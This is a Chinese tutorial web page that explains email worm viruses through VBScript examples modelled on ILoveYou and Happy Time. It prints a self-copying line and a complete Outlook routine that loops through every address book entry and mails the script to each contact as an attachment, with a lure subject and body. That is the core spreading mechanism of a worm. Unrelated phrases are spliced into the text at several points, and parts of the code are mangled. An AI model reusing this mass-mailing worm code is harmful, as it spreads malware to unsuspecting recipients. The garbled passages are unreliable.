关于计算机的病毒案例分析,实例解析蠕虫病毒的原理-电脑资料

关于计算机的病毒案例分析,实例解析蠕⾍病毒的原理-电脑资
如今对⼤家的电脑威胁最⼤的就属⽹络蠕⾍病毒了!⽹络蠕⾍病毒的危害之⼤简直令⼈吃惊,从⼤名⿍⿍的爱⾍到欢乐时光,再到红⾊代码,其破坏⼒越来越强,因此我们有必要了解⽹络蠕⾍病毒,
蠕⾍病毒与⼀般的计算机病毒不同,它不采⽤将⾃⾝拷贝附加到其他程序中的⽅式来复制⾃⼰,所以在病毒中它也算是⼀个另类。蠕⾍病毒的破坏性很强,部分蠕⾍病毒不仅可以在因特⽹上兴风作浪,局域⽹也成了它们施展⾝⼿的舞台?D?D蠕⾍病毒可以潜伏在基于客户机/服务机模式的局域⽹的服务机上的软件内,当客户机访问服务机,并对有毒的软件实施下载后,病毒就神不知、⿁不觉地从服务机上拷贝到客户机上了。mppt
其实脚本病毒是很容易制造的,它们都利⽤了视窗系统的开放性的特点。特别是COM到COM+的组件编程思路,⼀个脚本程序能调⽤功能更⼤的组件来完成⾃⼰的功能。以VB脚本病毒(如欢乐时光、ILoveYou、库尔尼科娃病毒、Homepage病毒等)为例,他们都是把.vbs脚本⽂件添在附件中,最后使⽤*.htm.vbs等欺骗性的⽂件名。下⾯我们详细了解⼀下蠕⾍病毒的⼏⼤特性,从中到对付蠕⾍病毒的⽅法。
⼀、蠕⾍病毒具有⾃我复制能⼒
我们以普通的VB脚本为例来看看:神舟hp860
SetobjFs=CreateObject(Scripting.FileSystemObject)
'创建⼀个⽂件系统对象
objFs.CreateTextFile(“C:\”,1)
'通过⽂件系统对象的⽅法创建了⼀个TXT⽂件。
如果我们把这两句话保存成为.vbs的VB脚本⽂件,点击就会在C盘中创建⼀个TXT⽂件了。倘若我们把第⼆句改为:
objFs.GetFile(WScript.ScriptFullName).Copy(“C:\virus.vbs”)
⼆、蠕⾍病毒具有很强的传播
病毒需要传播,电⼦邮件病毒的传播⽆疑是通过电⼦邮件传播的。对于OutLook来说地址簿的功能相当不错,可是也给病毒的传播打开了⽅便之门。⼏乎所有通过OutLook传播的电⼦邮件病毒都是向地址簿中存储的电⼦邮件地址发送内同相同的脚本附件完成的。看看如下的代码:宁夏师范学院学报
SetobjOA=Wscript.CreateObject(“Outlook.Application”)
'创建⼀个OUTLOOK应⽤的对象
SetobjMapi=objOA.GetNameSpace(“MAPI”)
'取得MAPI名字空间
Fori=1toobjMapi.AddressLists.Count
'遍历地址簿
SetobjAddList=objMapi.AddressLists(i)平原往事小说
约玛 奥利拉Forj=1ToobjAddList.AddressEntries.Count
SetobjMail=objOA.CreateItem(0)
objMail.Recipients.Add(objAddList.AddressEntries(j))
'取得收件⼈邮件地址
objMail.Subject=“你好!”
'设置邮件主题
objMail.Body=“这次给你的附件,是我的新⽂档!”
'设置信件内容
objMail.Attachments.Add(c:\virus.vbs“)
'把⾃⼰作为附件扩散出去
objMail.Send
'发送邮件
Next
Next
SetobjMapi=Nothing
'清空objMapi变量,释放资源,值得学习的编程习惯
SetobjOA=Nothing
新菠萝灰粉蚧'清空objOA变量
这⼀⼩段代码的功能是向地址簿中的⽤户发送电⼦邮件,并将⾃⼰作为附件扩散出去。这段代码中的第⼀⾏是创建⼀个Outlook的对象,是必不可少的。在其下是⼀个循环,在循环中不断地向地址簿中的电⼦邮件地址发送内容相同的信件。蠕⾍病毒就是这样进⾏传播的。

本文发布于:2024-09-22 09:34:11,感谢您对本站的认可!

本文链接:https://www.17tex.com/xueshu/96622.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

上一篇:VB字符串函数
下一篇:外部VBS的调用
标签:病毒   脚本   传播   服务
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2024 Comsenz Inc.Powered by © 易纺专利技术学习网 豫ICP备2022007602号 豫公网安备41160202000603 站长QQ:729038198 关于我们 投诉建议